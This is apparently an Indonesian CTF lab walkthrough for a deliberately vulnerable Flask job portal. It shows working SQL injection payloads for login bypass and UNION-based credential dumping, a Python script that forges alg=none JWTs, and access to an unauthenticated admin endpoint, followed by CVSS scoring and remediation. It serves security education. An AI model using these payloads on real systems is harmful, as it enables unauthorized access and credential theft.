Job Portal - SQLi + JWT Bypass
Target:
jobportal-vuln.vuln.cybersecurity.or.id
Tools:curl,python3, browser
Level: Menengah
Aplikasi: Flask + SQLite
Objective
Mendapatkan akses admin dan mengekstrak data sensitif dari database melalui dua kerentanan utama:
- SQL Injection pada parameter pencarian lowongan
- JWT Forgery menggunakan algoritma
none
Reconnaissance
1.1. Identifikasi Target
Langkah pertama adalah melakukan fingerprint terhadap aplikasi:
curl -s -I http://jobportal-vuln.vuln.cybersecurity.or.id:8086/ | head -10
Output:
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.11.15
Aplikasi berjalan di Flask (Werkzeug) - Python WSGI.
1.2. Eksplorasi Endpoint
Kita temukan beberapa endpoint API yang terpapar:
# Lihat daftar lowongan kerja
curl -s http://jobportal-vuln.vuln.cybersecurity.or.id:8086/api/jobs | python3 -m json.tool
# Coba login sebagai admin (password default)
curl -s -X POST http://jobportal-vuln.vuln.cybersecurity.or.id:8086/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin123"}'
Output login:
{"token":"eyJ...","user":{"username":"admin","role":"admin"}}
Server mengembalikan JWT sebagai token autentikasi.
1.3. Temukan Parameter Rentan
Endpoint /api/jobs menerima parameter
search:
curl -s "http://jobportal-vuln.vuln.cybersecurity.or.id:8086/api/jobs?search=it"
Output - hasil pencarian lowongan:
[
{"id":1,"title":"IT Support","description":"Dibutuhkan IT Support...","company":"PT Maju","location":"Jakarta"}
]
Parameter search ini menjadi pintu masuk untuk SQL
Injection.
Exploitation
2.1. SQL Injection - Login Bypass
Source code backend menggunakan f-string tanpa parameterized query:
q = f"SELECT * FROM users WHERE username='{user}' AND password='{pwd}'"
Payload untuk bypass login:
curl -s -X POST http://jobportal-vuln.vuln.cybersecurity.or.id:8086/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin'"'"' OR '"'"'1'"'"'='"'"'1","password":"x"}'
Output - login berhasil tanpa password valid:
{"token":"eyJ...","user":{"username":"admin","role":"admin"}}
2.2. SQL Injection - UNION Based Data Extraction
Endpoint /api/jobs?search= juga rentan. Kita bisa
melakukan UNION SELECT untuk membaca tabel lain.
Pertama, tentukan jumlah kolom:
curl -s "http://jobportal-vuln.vuln.cybersecurity.or.id:8086/api/jobs?search='+UNION+SELECT+1,2,3,4,5,6,7--"
Output - 7 kolom terkonfirmasi:
[{"id":1,"title":2,"description":3,"company":4,"location":5,"status":6,"created_by":7}]
Dump data user:
curl -s "http://jobportal-vuln.vuln.cybersecurity.or.id:8086/api/jobs?search='+UNION+SELECT+1,username,password,4,5,6,7+FROM+users--"
Output - kredensial terekspos:
[
{"title":"admin","description":"admin123"},
{"title":"user1","description":"pass123"},
{"title":"user2","description":"pass456"}
]
Dump flag dari tabel rahasia:
curl -s "http://jobportal-vuln.vuln.cybersecurity.or.id:8086/api/jobs?search='+UNION+SELECT+1,flag,3,4,5,6,7+FROM+secrets--"
Output - flag berhasil didapatkan:
{"title":"FLAG{J0b_P0rt4l_SQLi_JWT_2025}"}
2.3. JWT Forgery - Algoritma none
Server menerima JWT dengan algoritma none - artinya
token tanpa signature akan dianggap valid.
Source code backend:
def parse_token(req):
parts = auth.split(".")
hdr = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
if hdr.get("alg") == "none":
return json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
Forge token menggunakan Python:
import json, base64
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data).encode()).decode().rstrip('=')
header = {"alg":"none","typ":"JWT"}
payload = {"user_id":1,"username":"admin","role":"admin","exp":9999999999}
forged_token = f"{b64url(header)}.{b64url(payload)}."
print(forged_token)
Output token:
eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4iLCAiZXhwIjogOTk5OTk5OTk5OX0.
Gunakan forged token untuk akses endpoint admin:
curl -s -H "Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4iLCAiZXhwIjogOTk5OTk5OTk5OX0." \
http://jobportal-vuln.vuln.cybersecurity.or.id:8086/api/profile
Output:
{"claims":{"role":"admin","username":"admin","exp":9999999999}}
2.4. Akses Admin Endpoint
Endpoint /api/admin/users tidak memiliki proteksi
autentikasi sama sekali:
curl -s http://jobportal-vuln.vuln.cybersecurity.or.id:8086/api/admin/users
Output - semua user beserta password:
[
{"username":"admin","password":"admin123","role":"admin"},
{"username":"user1","password":"pass123","role":"user"},
{"username":"user2","password":"pass456","role":"user"}
]
Evidence
Screenshot 1: SQL Injection - Dump Tabel Users

Gambar: Output UNION SELECT yang menampilkan username dan password dari tabel users.
Screenshot 2: JWT Forgery - Forged Token Accepted

Gambar: Server menerima token JWT dengan algoritma none tanpa signature.
Screenshot 3: Admin Endpoint - Data Seluruh User

Gambar: Endpoint admin yang memperlihatkan data seluruh user termasuk password.
Ringkasan Data yang Didapatkan
| Jenis Data | Detail |
|---|---|
| Database | SQLite (3 tabel: users, jobs,
secrets) |
| Kredensial | admin:admin123, user1:pass123, user2:pass456 |
| Flag | FLAG{J0b_P0rt4l_SQLi_JWT_2025} |
| Akses Admin | Token JWT forged + endpoint tanpa auth |
️ Risk Assessment (CVSS 3.1)
| Metrik | Nilai | Keterangan |
|---|---|---|
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
| Base Score | 9.8 (Critical) | |
| Attack Vector (AV) | Network | Serangan dari jarak jauh |
| Attack Complexity (AC) | Low | Tidak butuh kondisi khusus |
| Privileges Required (PR) | None | Tanpa autentikasi |
| User Interaction (UI) | None | Tanpa interaksi user |
| Confidentiality (C) | High | Semua data bisa dibaca |
| Integrity (I) | High | Data bisa dimodifikasi |
| Availability (A) | High | Database bisa di-drop |
Dampak Bisnis
- Kebocoran data pengguna - semua username dan password terekspos
- Pengambilalihan akun admin - attacker bisa login sebagai admin
- Eskalasi privilege - dari user biasa menjadi administrator
- Penghapusan database - SQLite rentan terhadap query DROP TABLE
️ Remediation
1. Prevent SQL Injection - Parameterized Query
❌ Kode rentan (f-string):
q = f"SELECT * FROM users WHERE username='{user}' AND password='{pwd}'"
✅ Kode aman (parameterized query):
q = "SELECT * FROM users WHERE username=? AND password=?"
cur.execute(q, (user, pwd))
2. JWT - Tolak Algoritma none
❌ Kode rentan:
if hdr.get("alg") == "none":
return json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
✅ Kode aman:
import jwt
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
3. Autentikasi di Setiap Endpoint
❌ Endpoint tanpa auth:
@app.route("/api/admin/users")
def admin_users():
return jsonify(get_all_users())
✅ Dengan middleware autentikasi:
@app.route("/api/admin/users")
@require_auth
def admin_users(current_user):
if current_user["role"] != "admin":
return {"error": "forbidden"}, 403
return jsonify(get_all_users())
4. Matikan Debug Mode
Pastikan debug=False di production:
app.run(debug=False) # Jangan gunakan debug=True di production
References
- OWASP SQL Injection
- OWASP SQL Injection Prevention Cheat Sheet
- JWT alg=none Attack
- CWE-89: SQL Injection
- CWE-347: Improper Verification of Cryptographic Signature
Walkthrough ini disusun untuk tujuan edukasi keamanan siber.
TDCTF Security Academy - Cybersecurity Indonesia